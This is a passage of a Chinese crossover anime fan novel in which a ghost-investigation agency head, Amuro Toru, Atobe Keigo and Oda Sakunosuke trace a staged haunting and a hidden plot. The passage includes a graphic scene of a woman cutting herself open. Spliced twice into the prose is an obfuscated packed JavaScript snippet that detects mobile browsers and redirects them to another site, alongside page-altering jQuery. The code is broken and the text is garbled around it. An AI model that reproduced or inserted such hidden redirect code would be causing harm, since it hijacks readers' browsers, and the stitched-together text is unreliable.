“嗯?”夏楠看了他一眼,“什么暴露?” 安室透握着方向盘的手一顿。 夏楠接着说道,“你不是因为遇到灵异事件才来找我的么?” 安室透:…… 确实是他事先准备好的说辞,但那应该是双方经过一系列的交流以后才达成的最终认识,而不是从一开始,才问了个路就被人看穿的东西。 安室透转过头,深深的看了一眼夏楠。 ——‘来自深渊的凝视’,名不虚传。 并不知道自己被‘深渊’的夏楠面对对方古怪的目光,只是眨了眨眼。后排,将棒球帽盖在脸上,努力将自己凹了个省力造型的宇髄天元抬起脚,踢了一下安室透的椅背。 “小子,好好开车。” 安室透:…… 今天的他不叫安室透,该叫无语透。 “去哪?” “你觉得呢?”夏楠笑眯眯的问他,“你觉得我们该去哪?” 送上门的信息载体,不用白不用。 这次的委托是罕见的以怨为主的传播事件,无论是婴儿的哭声,还是上吊的人,都是后期被怨感染后形成的‘伥鬼’。想要解决问题,必须找到源头。 而且,在通往源头的路上,幕后的人,如果还想继续利用这次的灵异事件,必然会主动现身。 夏楠看着眼前的波本酒本酒,“去你觉得我们该去的地方,安室先生。” 看,这不就来了?幕后的家伙,emmm……可能只是之一? 夏楠有点想笑。 虽然来的是个二五仔。 “说起来,之前问你的问题,你的回答呢?” 在夏楠说出‘去你觉得我们该去的地方’以后,安室透还真就毫不客气的踩下了油门,“什么问题?” “名字里带颜色的人。” 安室透回想了一下,很快,他意识到了夏楠问这个问题的目的。 ——他知道了。 绿川光。 探灵社的委托预约,是以绿川光的名义发出的。 “很抱歉,我的熟人里似乎并没有这样的人。” 夏楠靠在椅背上,闻言不置可否。 在后座补眠的宇髄天元听到夏楠的声音。 他说,“谎言。” 真是完全不客气啊——宇髄天元想道——怪不得不死川那家伙对夏目的评价还不错,这不是万全长在了那家伙的审美上嘛。 开车的安室透:…… 终于,他发出了妥协的声音,“您就饶了我吧,夏目社长。” 33.三十三 战斗结束的很快,那位被称为‘羊’的首领的少年,中原中也,他的能力十分强悍,仅仅是荷枪实弹的攻击,并不能对他造成多大的损伤。地上趴了一群人,装备复杂但简陋。 “不是港口黑手党。” 港口黑手党没有这么……穷。 看这个样子,倒像是擂钵街内蜗居的雇佣兵。 中原中也站在平息的战场中央,微微皱眉。事情的发展已经远远超过了他所能理解的范畴,这些口口声声声称要捉拿他的家伙,又是奉了哪个首领的命令? 【天衣无缝】 判断战斗平息以后闪身往外走的织田作之助能力忽然发动,他看到了,少年被奇怪的雾气掩盖,有远程阻击射中了他,是注射装置,如果直接过去救人……不,不行,这个雾气也会使他失去一定的行动能力,催眠瓦/斯? 不像。 只是催眠瓦/斯,还放不倒他。 短时间内,已经在异能力中做过无数次尝试的织田作之助停止了对雾气的试探——不是普通催眠瓦/斯。他终于动了,一把枪出现在他的手中,他将枪口对准了中原中也的方向。 不能过去捞人,那就抢在所有事发生之前,把中原中也逼进安全的区域。 织田作之助毫不犹豫的扣动扳机。 中原中也诧异的躲开,“你……” 他的话还没说完,刚刚被他收割的人身上忽然冒出一股股浓烟,那烟缓缓向四周漂浮,笼罩住的地方,刚好包含了他刚才站着的位置。 中原中也愣住了,紧接着,他听到织田作之助的声音,“是能够使人昏迷的烟雾,有人在远处埋伏。” ! 中原中也的神情很难看,他的异能力破坏力极强,自保能力也很高不假,但是在这样的算计下,的确有中招的风险。 “谢了。”中原中也说道,他已经明白,对方那几枪是为了帮自己。 “不用客气,”织田作之助回答,他们两个已经被雾气完全分隔开,互相看不到对方的身影,“我要离开了。” “好,”中原中也也不去问织田作之助的去向,只说,“我欠你一次。” …… 织田作之助在赶往下一个目的地。 是他找错了地方,既然是找太宰,自然是去太宰的家里找。森欧外的小医馆里并没有两个人生活的痕迹,很明显,太宰有自己的住处。 ——他应该不会喜欢被人打扰。 在擂钵街,一个孤身一人的少年,一个不被人打扰的住所,只有那个地方了吧。 织田作之助在奔跑,他敏捷的穿过一个个狭窄的巷道,越过一个又一个小型冲突的现场,终于,他来到了自己的目的地。 任何地方都有自己的垃圾处理中心,就算是擂钵街,也不例外。没人喜欢住在这样的地方,只有实在无法囤积物资,又抢不到更好住所的人,在垃圾处理中心外围生活。 当然,更除了太宰治这样的人。 织田作之助在垃圾处理中心——说是垃圾处理中心,也仅仅只是把垃圾堆在一起,偶尔焚烧的场所——的深处找到了一个集装箱,集装箱的三分之一都陷进了泥土里,因为位置在很里面的地方,周围倒还勉强称的上一句干净,比起处理中心其它地方来说。 ——就是这里了。 织田作之助心想,他走上前,在一个隐蔽的废弃车辆后面,发现了集装箱的入口。 他走了进去…… 看到了一个受伤的人。 不是太宰。 织田作之助看着这个陌生的男人——这就是,异能特务科想借助探灵社的手,接触的家伙。 “你不会开枪。” 织田作之助说道,他背着光,站在集装箱唯一的出入口,看着眼前的人。鼻尖是若有若无的血腥气,对方受的伤并不重,且已经做过处理。织田作之助的视线环绕集装箱内一圈,看到了使用一半的绷带。 织田作之助:…… 太宰会生气的。 要说探灵社内谁的报复心最重,以夏目为首,太宰和千寻后来居上,三人不分伯仲,且太宰的报复手段…… 莫名的,织田作之助有点想为眼前这位不得不在原地多等跑偏的他等到现在人点一支蜡。 —————— “他在干什么?!” 监控屏幕里,已经鬼化的山本正在不停的撞墙,一下又一下,力道很重,额头在一次次撞击中来不及复原,就又复被撞破。 松田阵平看向了一边兢兢业业(……)举着摄像机对着监控屏幕拍摄的坂口安吾,“他什么情况?” 坂口安吾回答,“山本君的话,应该是听到了婴儿的哭声。” “婴儿的哭声?”松田阵平看向屏幕,病房里,鬼化山本还在坚持不懈的撞墙,力道之大,把重症病房的墙都撞出了裂痕。 “不行,不能让他继续这么撞下去。” 鬼的力道有多大,松田阵平多少有数。他被派过来调查情况,也是因为之前和异化鬼有过接触,有相关经验。当然,还有一个原因是,这次的事件里有探灵社的身影。松田阵平作为探灵社直接对接人,就算不是调查的主导,也肯定得过来一趟。 坂口安吾就是个无情的拍拍拍机器,松田阵平在问过几个问题以后就对他没什么指望了。类似异能特务科一类的隐秘部门里出来的人,各个都是神秘主义,他实在怠于和这类人耍嘴皮子。 松田阵平叫了两名搭档一起往外走去。 就算重症监护室的墙体是经过特殊处理的墙体,也经不住鬼这么撞的,到时候撞塌了反而更麻烦。 得阻止。 “我建议你们不要去,”坂口安吾说道,“他现在明显没有多少理智,你们进去恐怕会被袭击,出于安全考虑,或许你们愿意申请一些外援?” “比如异能特务科?”松田阵平挑眉,“免了,”他举起手机,晃了晃,“多谢费心。” 被拒绝的坂口安吾:…… 他举着摄像,默默的跟在他们身后。 松田阵平没有管坂口安吾的动作,他虽然不是很信任这位来自异能特务科(因为卷宗记载的一些有关于异能特务科弄出来的恶性事件)的人,但对夏楠,他还是能称得上一句信任的,因此也不介意被拍,反正最后都得打码。 到时候工作量增多,那个负责剪辑的、叫千寻的毒舌小鬼估计还得找这位坂口安吾麻烦。 松田阵平一边走,一边拨通了电话。 “摩西摩西,夏目?” “你现在在哪?” …… —————— 夜晚,零点刚过。 历史资料并不是随便什么人都能调查的,好在两边都能走关系,夏楠他们并没有在审核的关卡被卡多久,很快就被放行。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725440|171794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查到最初的房屋所有人是谁以后,再经过比对,果然发现了重合的点——A君所购买的地皮,与冈谷公寓这块地皮记载里最初的所有者是同一个人。而那位不知去向的、前冈谷公寓及地皮所有者,已经在年初被宣告死亡,死因为心脏病。 一个有心脏病史的人死于心脏病,听起来还挺正常的。 他们现在,正在赶往A君地皮的路上。 专车接送。 不是那辆陪伴了他们半天的出租车,是一辆十分亮眼的越野。开车的人,夏楠也认识,尽管他当年并没有看完那部超能力运动番。 家人们,谁懂啊,综漫世界里,安室透和迹部景吾居然是朋友,什么梦幻联动。 虽然两人应该认识的时间不长,而且双方也并不像表面表现的那样友好,但这并不妨碍夏楠记录这样的名场面。 可惜了,这次出来没有随身携带摄像。 还有那个困扰了夏楠很多年的疑问,“你们打网球真的能打出黑洞,打出宇宙大爆炸吗?” “啊嗯?那是什么?”在国外读大学,近几天回国处理一些企业事务的迹部景吾亲自驾车中,“什么宇宙大爆炸?” 被处理的事务中刚好包括这块可疑地皮。 “嗯——” 夏楠审视的目光透过椅背,准确的传递给了驾驶座上的迹部景吾。 “……你那是什么不华丽的眼神?” 顺带一提,宇髄天元和迹部景吾就‘华丽’这个命题进行了长达……不知道多少时间的争论,目前正在休战中,具体就不一一赘述了。 果然还是得亲眼看么。 虽然感兴趣,但并没有那么感兴趣的夏楠很快放下了这个话题。他靠在后座,微微闭上眼。 没有得到回应的迹部景吾发现夏楠一副快睡着的样子,不再说话。他看了一眼副驾驶的安室透,得到了对方一个耸肩加无奈表情的肢体组合。 ——人为。 这是夏楠对施工现场一系列事故给出的结论,在安室透将这个信息告知迹部景吾以后,这位同样认为事件是人为的迹部家下任掌舵人忽然来了兴致,临时决定亲自来见见这位几乎把自己混成新一代都市传说的探灵社社长。 公司当然调查过背后的原因,无论是报警,还是委托知名侦探,结果纷纷铩羽而归。而铩羽的原因,才是迹部集团试图联系探灵社的真正原因。 ——奇怪的现象,以及现象背后隐约浮现的阴谋。 安室透是迹部景吾在几天前回国的飞机上认识的朋友,在聊天的过程中,安室透暴露了自己是个情报贩子的‘事实’。由于施工地频繁出现事故的原因,迹部财团的声誉有下降趋势,下面找不到靠谱的人处理问题,无奈之下将这件事报上来以后,迹部景吾了解完事情经过,立刻就想起了安室透。 说起来,有关探灵社的事,近几年基本都在海外的迹部景吾能先于下属汇报提前得知,还是因为安室透‘无意’间和他聊起过。 巧合可真多啊。 探灵社不像那些专业人士,是个可以交流的。在得知夏楠对施工现场事故的结论以后,迹部景吾做了这样的判断。比起那些神神叨叨的神秘侧人士,除妖师也好,神主也好,果然还是探灵社这样讲逻辑的相关从业人员更符合他的审美。而且,就网络上的风评和探灵社与警视厅的合作协议来看,是有真本事的,这个事务所。 34.三十四 …… 夏楠已经走到了众人身边,他很自来熟的越过所有人,直接走到了双层巴士那样大的房车旁边,从门口探进去脑袋看了看。 里面有两名正在制作餐点的厨师。 就在这时,宇髄天元忽然开口,“找到了。” 话音刚落,身材高大健硕的青年速度快到肉眼几乎分辨不清,他一个闪身,从人群中消失,几下起落,冲进了黑暗里。 其他人的反应都不慢,对夏楠的了解匮乏让他们并没有如同宇髄天元那样快的意识到夏楠的动作当中有什么深意,但宇髄天元现在的反应,倒是印证了他们的猜测。 一个不那么美妙的猜测。 ——他们从一开始,就被盯上了。无论是之前的一系列事故,还是之后的一系列问题,都是有人蓄意弄出来的。其最根本的目的,很有可能不是他们,而是——探灵社。或者,更具体一点,是夏目社长。 一想到给迹部财团添堵很可能只是幕后黑手顺手而为,迹部景吾心里颇为古怪。他还是第一次被什么人利用,当做踏板,只为了给其他人找麻烦。虽然本质上被利用和顺势踩了一脚的是迹部财团,但迹部景吾一定程度上就代表了迹部财团,所以也没什么太大差别。 大概是沉默的时间有点长,金牌管家在震惊宇髄天元身手如此非人的同时,依旧兢兢业业的充当起了活跃气氛的工具人。 “夏目阁下,多亏了您。” 迹部景吾回过神来,他略带郑重的看向夏楠,“啊嗯,多谢,夏目社长。” 不论起因如何,发现并提醒了他们潜在的危险,夏楠值得这声道谢。 夏楠已经从豪华房车旁边退了开来,他简略的回了声客气,视线定格在了安室透身上。 还在暗自思索的安室透感受到存在感极强的注目,回过神,看了过来。 安室透:…… 夏楠已经移开视线——他不知道。 安室透居然不知道。 …… 对于迹部景吾来说,核心问题是——什么人,为了什么,针对迹部财团做了这一连串的设计?从事故到后来的舆论发酵,每一个过程,一环扣一环,很难不让人怀疑发生的一切都是精心准备的陷阱。 这也是为什么迹部财团会在神主不起作用以后试图联系探灵社的原因,他们需要一个有一定影响力的组织或个人来解决这里的问题。官方是第一个被排除的,毕竟官方的解决办法并不符合迹部景吾个人的美学——搞得好像他们迹部财团认怂了一样,那必然、绝对,不可以。 虽然现在迹部景吾开始怀疑他们也只是幕后的人为了给夏楠添堵而做的筏子……说起来,集团原定要联系的其实是除妖师协会,只是因为刚好撞上了他忽然回国,了解他行事作风的工程负责人才做主换了探灵社。 至于他忽然回国的原因,则是为了考察一个生物医药研究室建立在国内的生产线。 一环扣一环……么…… 继夏楠之后,刚刚松了一口气的安室透还没想好如何调整自己在这里的定位,就迎来了来自迹部景吾的、若有所思的一瞥。 安室透面不改色,适当的表露出些许疑问。 他还有余韵转移大家的注意力,“……宇髄先生……我们需要去看看吗?” “或许能帮上什么忙?” 安室透的话音刚落,不久前消失在黑暗里的宇髄天元再次现身。他的肩膀上扛着一个人,手里还拎着另一个,或许是因为那两个人一直在挣扎的原因,移动速度比起之前慢了不少,至少能让人看清了。 “好吧,看来是我多虑了。” 安室透摊了摊手。 抓来的两个人被宇髄天元咚咚两下,丢在了夏楠面前。 夏楠上前一步。 迹部景吾对管家使了个眼色,管家心领神会,他抬起手挥了一下,围绕在周围的佣人们立刻低头转身,悄无声息的退开了。 夏楠没在意周围发生的事,他弯腰凑近被宇髄天元丢过来的两个人,忽略了其中一人骂骂咧咧的声音,抬起手,搭在了对方的脖子上。 骂骂咧咧的声音停住了。 明明是很轻的动作,虽然搭的位置有些奇怪,那名中年人却仿佛遭受了莫大的痛苦一样,汗水肉眼可见的从额角沁出,本来还在骂骂咧咧的嘴唇开始微微颤动,挣扎的动作更是没有,僵硬的几乎一动不动。 中年人身边的女性见状,原本惶恐的神色更加浓重,她几乎把自己缩成一团,以此来获得一些安全感。 “宇髄先生,你找到他们的时候,他们在干什么?” 宇髄天元回答,“什么都没干,就躲在那边的灌木后面。” 夏楠嗯了一声。 他松开了手,看了看自己沾了些汗的手心,管家适时的送上干净的手帕。 夏楠:……哦! 这个好。 他看了看管家,过了一会儿,略有点遗憾的收回视线——可惜了,撬不动。 在夏楠松开手的瞬间,中年人仿佛一瞬间失去了所有支撑一样,整个人瘫软在地毯上。他抬手后知后觉的护住自己的脖子,之前那骂骂咧咧嚣张的样子不见了,他开始往后缩。堵在两人身后的宇髄天元抬起一只脚,踩在中年人的肩膀上制止了他的蠕动。中年人被迫停下动作,瑟缩着。 “怎么样?”宇髄天元问道。 夏楠没回答,而是点了点房车的方向。 宇髄天元秒懂,他立刻迈步,却被管家挡了一下。 “这次就交给我吧,怎么能总让贵客动手。” 管家优雅的拉了拉白色手套的边缘,走进了房车。 两名厨师被优雅的请了出来。 之前探头进去看的时候,两名厨师的脸上都带着防止飞沫飞溅的后厨专用口罩,再加上低着头,不是很能看清面相,如今人出来了,又在管家的示意下相继摘掉了帽子和口罩,夏楠的视线在两人之间徘徊一会儿,锁定了其中一个。 一直注意观察夏楠表情的管家立刻会意,他拍了拍另一个的肩膀,用了些巧劲将人带到了一旁。 剩下的那个一脸莫名。 “这是……” 就在这时,夏楠的手机响了。 安静的环境,忽然响起的铃声,其它人还没怎么样,地上瑟缩成两团就差把心虚贴在额头上的两个人倒是被吓的抖了一下。 夏楠掏出手机,按了接听。 是松田阵平。 ——你现在在哪? 夏楠想了想,“荒郊野岭?” ——……有点事,山本的状态不对。 电话那一边,松田阵平忽略了夏楠敷衍的回答,简单讲了一下山本目前的情况。 ——你有办法么? 有倒是确实有。 山本目前被怨感染的异常状态,如果是他的话,的确可以做到暂时的干涉。 远程也没问题,就是稍微麻烦一点。 夏楠一边对话,一边目光一寸寸划过眼前厨师的身体,有点可怕了,可厨师硬是忍住了没乱动乱躲,甚至脸上都没有什么表情变化。 可惜在场没人吃他的表演,毕竟——能抗住夏楠的那种扫视还面不改色,本身就是一件很可疑的事。 “把电话给他,”夏楠说着,补充了一句,“开公放。” 电话那边,松田阵平开始思考如何在不惊动撞墙的山本的前提下把电话塞进他手里的办法。 还在和电话那边的人说话的青年忽然动了,他上前两步,来到厨师面前。像这样忽然拉短两人之间的距离,那种危险的感官终于压的厨师不得不做出反应,他知道这种时候该找谁——他将视线投注在了站在一边冷漠旁观的迹部景吾身上。 “迹部少爷……这到底是……” 夏楠在回忆千寻平常喜欢塞监听的位置,耳后、脖颈后方的碎发里、衣领、衣服的褶皱……当然,还有比较常规的,口袋、袖口、纽扣……甚至还有牙齿。他的观察能力并没有那么敏锐,如果是阿治在这里,大概很快就能看出对方身上到底哪里有问题。 ——我们会暂时把门打开一个口子,将手机滑进去…… 电话那边,在简短的商讨以后,松田阵平简单描述了一下己方的计划。 夏楠嗯了一声。 他抬起空闲的那只手,伸出手指,从厨师的额头开始,没有碰触,一路沿着对方的轮廓往下划。 既然直接观察无法确定哪里有问题,那就用其它办法。 厨师试图后仰,躲开夏楠的手。 “嘘——”夏楠轻飘飘的说道,“别乱动。” 厨师身后,管家适时抬起一只手按住了厨师的后背,“请当心,小心摔倒。” 被前后夹击的厨师:…… 夏楠的手停在了对方的嘴唇前方。 后仰,这是一个信号。明明眼睛都没动,到嘴却动了。 夏楠露出了笑容。< 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到处去找实在太麻烦了,一层一层的,抽丝剥茧,不如以逸待劳,让他们自己,送上门来。 港口黑手党前首领,还有山本,异能力者,和灵异事件的受害者——消息走漏了,他们知道之前实验下短暂诞生的鬼妖的存在……或者妖鬼。 虽然只是推测,但——何妨一试? 既然幕后的人想要特殊的实验体…… 那就送他们一点‘特殊’。 只这一个动作,青年身上的氛围变了。 就像原本挺正常的一个人,还带了点懒洋洋的俏皮,迹部景吾甚至觉得夏楠有点神似慈郎。只是现在,神似慈郎的夏楠忽然变的极具压迫感,在他的周围,连空气仿佛都凝固了。低垂着眼睫的青年,只是站在那里,就散发出了极其强大的——威慑力。 这不是一个小小会社的社长该有的威压,就算是久居上位的那些老牌世家的人物,都不见得会给人如此深刻的直观感受——迹部景吾正色,原本还在旁观‘嫌疑人捉拿现场’的他,如今已经将全部的注意力全都放在了夏楠的身上。 不,不对,不一样。 夏目社长,与迹部景吾所熟悉的那些人不一样,他的压迫感,更加的危险,更加的……无法形容。 ——那是,来自另一个世界瞥视。 宇髄天元想起了刚才夏楠玩的那一手‘存在感失踪’,对比现在看到的情形,简直就不像是同一个人。 他又想问夏楠到底是不是人了。 众人视线的中心,夏楠,正在说话。 “山本君,”依旧是那种轻飘飘的语气,带着微微上卷的尾音,十分有特色的发音方式,“停下来。” 远程‘催眠’而已,其实他也会。 没什么多余起伏的话语声,却仿佛带有千钧的重量,每一个字,都像是直接敲击在人的灵魂深处。 ——真是奇怪的形容。 迹部景吾想道。 电话那一边,撞击的声音停止了。 就在这时,垂着眼睛的夏楠忽然抬眼,他猛的凑近了眼前的厨师,几乎是脸贴脸的距离,那双比起常人要黑了许多的眼珠直直撞进了厨师的视野里。 “山本君,”夏楠说道,他的嘴角微微扬起,“你被烧伤了,很严重,动不了,需要充足的睡眠,睡眠有助于恢复。” “现在,去病床上,睡觉。” 电话那一边,悉悉索索的声音响起,紧接着,是脚步声。脚步声消失了,又是一阵悉悉索索的声音,接着,就只剩下呼吸声。 夏楠挂断了电话。 他依旧保持着和厨师几乎脸贴脸的动作。 这副画面实在有点……明明之前还外露的嫌弃眼前人嘴里有味儿的青年忽然又凑了过去,还贴那么近。怎么说呢,就,怪。可这事儿是夏楠做的,画面似乎又不那么奇怪了。 这位探灵社的年轻社长,很有将自己变为所有人视线焦点的本事,只要他愿意。 “给我一个地址。” 夏楠的声音再次响起,还是那种直击人灵魂的感觉,那种令人战栗的听感。 厨师的嘴唇蠕动,却因为被夏楠捏着下巴,诡异的无法控制自己的肢体。夏楠好像忘记了这茬一样,重复了一遍,“地址。” 35.三十五 只是一句敷衍,森鸥外做出了和以往一样的判断。 激昂的背景音乐变成了代表失败的颓丧变奏,太宰治抬起游戏机看了一眼,“啊——啊——” “都怪森先生,我的记录没了。” 森鸥外忽略了这句抱怨,他看着太宰治,“去找广津先生,他和他的部下会协助你。” “哦,那个老爷子啊。”太宰治随意说着,将游戏机装进了上衣口袋里,转身往外走。 森鸥外脸上的笑容淡了些,他看着太宰治离开的背影,忽然开口,“说起来,太宰君,还没问过你对探灵社社长夏目的看法?”他的声音不辨喜怒,“比起我这里,太宰君更愿意去夏目那边么?” 太宰治的脚步停了下来,他转过身,“森先生,总是窥探未成年的私生活,是变态的行为哦。” 面对第二次变态指控,森鸥外面不改色,“只要太宰君现在就加入港口黑手党,我自然不会继续关注这件事。” 太宰治同样面不改色,他又转了回去,继续往外走,“再说吧。” —————— 对准织田作之助的枪口放了下去。 “你来晚了。” 沙哑的声音,说话的人从唯一的椅子上站了起来,她的身上穿着不合身的衣物,脸色看起来很差。 “我不记得我和你有过什么约定。”织田作之助说道,他依旧站在入口处,背着光,看着眼前的人。 “那不重要,”依旧是沙哑的嗓音,女人的头发并不长,发尾带着火焰燎过后的卷曲,脸上有擦伤,她的站姿有些扭曲,大概肋骨有伤,她向着织田作之助走了两步,脸上没什么表情,仿佛感觉不到疼痛,“你的名字。” “我并没有义务告诉你我的名字。” 织田作之助使用了拒绝二连,他的视线往下,看到了女人脚上开裂的鞋,和破破烂烂的裤子。 她经历过一场很激烈的战斗——织田作之助想道。 面对织田作之助的不配合,女人退让,“那就请你往前走两步,让我看清你的脸。” 织田作之助犹豫了一下,选择了配合。他往前走了两步,女人也顺势又向着他的方向走了两步。 距离很近了。 女人微微眯起眼仔细端详织田作之助的脸,过了一会儿,她说,“我记得你的脸。” 正说着,她忽然提速上前,手中不知道什么时候,多了一柄小刀。女人的近身格斗功夫十分出色,尽管受了伤,动作却没有任何凝滞。 织田作之助一连躲开了三次对方冲着自己命门而来的袭击,最后一次,他伸出手,制住了女人的动作。 女人没有挣扎,顺势终结了自己的攻势。 “请放开吧,我只是想确认一下。” 似乎是为了让自己的话更有说服力,她松开了手,小刀掉在地上,发出当啷的响声。 “织田作之助。” 织田作之助看了眼地上的刀,他并没有直接放开女人,而是在卸掉女人腰间的装备以后,才松开了背剪女人手臂的手。 “你是谁?” 织田作之助问道。 “我是谁,不重要。” 女人回答,她走开几步,转过身,面对织田作之助的方向。距离近了,织田作之助忽然发现,对方的身上有一些,明显区别于普通人的特征。 鳞片。 女人的脖子上,有许多透明的,不规则排列的鳞片。 “这种时候,应该说遗言,”女人忽然喃喃自语,接着,她看着织田作之助,“谢谢你能来。” 织田作之助:…… 他没有出声,因为不确定对方说这些话的目的。 女人已经开始了自己接下来的动作,她一边动,一遍继续喃喃自语。或许不是喃喃自语,只是因为想要倾诉什么,却找不到合适的对象。 但她的时间的确已经不多了,再不说,就真的没机会了。 “我的记忆力很差,我需要很努力,才能记住一些事,每天早晚,都要默背一遍……” “背什么?” “背……名字,特征,”女人边说,边从身上摸出了第二把小刀,“喜欢,讨厌……以及——任务。” 织田作之助看向对方手里的那把小刀。 “我不会攻击你。”女人说着,转身开始往之前坐着的椅子走去。 她重新坐了下来。 她一把撕开了身上的衣服。 织田作之助果断移开了视线——女人里面什么都没穿。 只是短暂的一瞥,他看到了无数的疤痕、针孔的痕迹、擦伤、淤青、还有这一片那一片的,看起来毫无美感,乱七八糟的鳞片。 忽然,原本移开视线的织田作之助重新转了回来,他冲上前去,却没来得及阻止。 血液,不像是普通人受伤那样涌出,而是一股细细的涓流,缓慢的、缓慢的从伤口处流出来。女人的手握在刀柄上,刀刃深深的插在自己的腹腔中。 “请等一下,”她的声音依旧很平稳,“我有东西给你,我需要把它取出来。” 锋利的刀刃在腹腔切出了一个长长的刀口,女人翻开伤口,接着,手伸进了自己的胃袋。 织田作之助抓住了女人的手腕,他不知道怎么做才能制止眼前这场正在发生的‘自/残’,“你……” “找到了。” 没什么起伏的声音,女人看向织田作之助,她动了动手腕,“请放开我,这样我拿不出来。” 她的声音比之前虚弱了许多。 织田作之助松开了手。 女人鲜/血/淋/漓的手中握着一个东西,一个包裹着黑色防水袋的东西。 女人将手里的东西,递给织田作之助。 “我的任务完成了。” 她说。 织田作之助的手在身侧猛的攥紧,理智告诉他,东西不能接。他是来独自解决来自异能特务科的‘麻烦’的,为了不波及到探灵社,那个对织田作之助来说,已经有了特殊意义的、可以被称为归处的地方,可以被包容的地方。 他是来解决麻烦的,不是来收纳麻烦的。 可他无法拒绝。 面对女性那连她自己估计都没有意识到的、带着期冀的目光,他无法拒绝。 这里是太宰治为自己准备的居所,一点也不温馨,家具都没有几个。 但这里是,太宰治的居所。 “织田作。” 太宰治的声音不知道从什么地方响了起来。 “带上你面前的女士,现在,立刻,去武装侦探社,”太宰治的语速比寻常要快一些,他继续说道,“出去以后往南走,离开擂钵街的地方,有一辆能用的摩托……” “太晚了,太宰。” 织田作之助打断了太宰治后面的话,他看着眼前的女人,她的瞳孔已经放大,身体软绵绵的倒了下去。 她死了。 那个被她藏进自己的身体,经历过一系列危险的战斗,终于带到这里的东西,从手指间滑落,被织田作之助接到了手里。 她的任务,的确已经完成了。 织田作之助接住了女性软倒的身体,将她放到地面上。 “……抱歉,织田作。” “这不是你的错,太宰。” 织田作之助脱下自己的衬衣,盖在了女性的身上,紧接着,他看向手里的东西,闭了闭眼。 不能将风险引到探灵社,这件事,就由他自己来解决。 …… “太宰,帮我……” 像是知道织田作之助要说什么一样,太宰几乎出声,“织田作,去找夏目。” “不,我……” “去找夏目,织田作,”太宰治再次打断了织田作之助的话。 “那不是仅仅凭借你一个人的力量就能解决的事,”太宰治的语速更快了,“夏目目前正在调查的事,也和这边有关联。” “去找夏目,织田作,去找我们的社长。” “去求助。” 不要去送死。 剩下的话语,太宰治没有出口。 漫长的沉默后,织田作之助伸出手,合上了女性的双眼。 “好。” …… 另一边,太宰治站在小巷里,手中捧着一本书。书的封面上写着书名——《完全自杀手册》,书的内部却全是空白,至少,从太宰治以外的视角看起来,是这样的。 少年的额发遮住了他的眼睛,耳朵上挂着耳机,整个人斜斜靠在小巷的墙面上。他的视线聚焦在什么都没有的书页,脸色晦暗不明。 有脚步声由远及近,少年仿佛忽然回神,他抬起一只手,摘掉了耳机,随意装进兜里。 脚步声更加接近,不一会儿,一队人出现在小巷的入口。 为首的,正是广津柳浪。 “太宰先生。” “好慢啊,广津先生,”太宰治从墙边站起,“你们是迷路了么?” “堂堂港口黑手党黑蜥蜴部队,居然会迷路哎~” 广津柳浪看着眼前的少年——这就是,首领的弟子,与首领一同见证了那天发生的事的全过程的少年。 他微微低下头,“是我的疏忽。” “明明是因为他自己挑了个奇奇怪怪的地方汇合……” 有人小小声反驳。 太宰治微微歪头,“哦?听起来似乎有人对我很不满?” 广津柳浪欠身,“请稍等。” 他转过身,找到了刚刚出声抱怨的人,抬起手——啪! “回去以后,自己去领罚。” 那人半张脸迅速红肿,他低下头,“是。” 广津柳浪重新转回来,向太宰治致歉,“很抱歉,是我驭下不严。” 太宰治看了他一会儿,合上了手中的书,将书丢给广津柳浪,“帮我拿好。” 接着,他转过身,“走吧。” —————— “为什么本大爷要做这么不华丽的事,真是的。” 猜猜看,现在说话的大爷是哪位大爷? 当当当,是宇髄天元哒! 夏楠的脑内小剧场开始撒花,他正坐在看起来很奢华的沙发套组中间的那张长沙发的中央,好容易克制住了自己躺下去的惯性冲动。而抱怨中的宇髄天元,正举着夏楠的手机,开着录制,对准了夏楠的方向,充当临时卡麦啦man。 地点是豪华房车内部二层会客区。 迹部景吾坐在旁边的单人沙发,勉强在画面里镶了个边。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他说出了自己的最终结论,“这片施工地所发生的一切都是人为的结果,包括有人试图将怨扩散到这里,这件事。” 迹部景吾微微皱眉,“有证据么?” “现阶段只是推断,”夏楠微微叹了口气,“可惜这次没有带齐设备……”顿了顿,他接着说道,“我不是很了解霓虹这边的术法体系,包括所有的符文,之前还看到有人用纸……嗯……总之,有个相对麻烦一点的办法。” 夏楠看向迹部景吾,“找几台挖机,把这片土地,全部,挖一遍。” 迹部景吾反应过来,“你的意思是……”有人埋了什么东西? 夏楠抬起手,指了指角落里被团团围住的其实已经醒了但一直在装晕的‘厨师’,“虽然从他身上没搜到什么,但是……他来以后,都去过哪些地方,接触过什么物品……” “……接触过什么物品,以及人,”夏楠笑着,“去查一查,或许会有什么发现也不一定?” “这种张冠李戴的方法其实并没什么太大效果,工人们之后遇到的一些奇怪的事件,只要不去在意,随着时间推移,也都会回归正常。” 是的,只要不去在意。 幕后至少有两拨人,一拨人提供了切实可行的方案,一拨人负责实施。无论是‘坍塌的地面’,还是断裂的脚手架,都是在刻意营造一种氛围,一种这里‘不对劲’的氛围。 提供方案的那一方,看起来对这类事件有着比较系统的了解。 夏楠想起了来自戴维斯的邀请——一场单对单的对话。 “建议你们调查一下工人们之间有什么流传范围较广的流言,追溯一下流言是谁散播的,还有在地面坍塌前在该区域活跃……”夏楠说话的声音一停,他看向那边瑟缩的中年男女,“……直接问他们也可以,如果他们配合的话,他们应该是这里的工人?” 迹部景吾略微沉思一会儿,抬起手,打了个响指。 管家立刻响应,“少爷,我这就安排下去。” 迹部家后续要来的私人安保队伍已经在路上了。 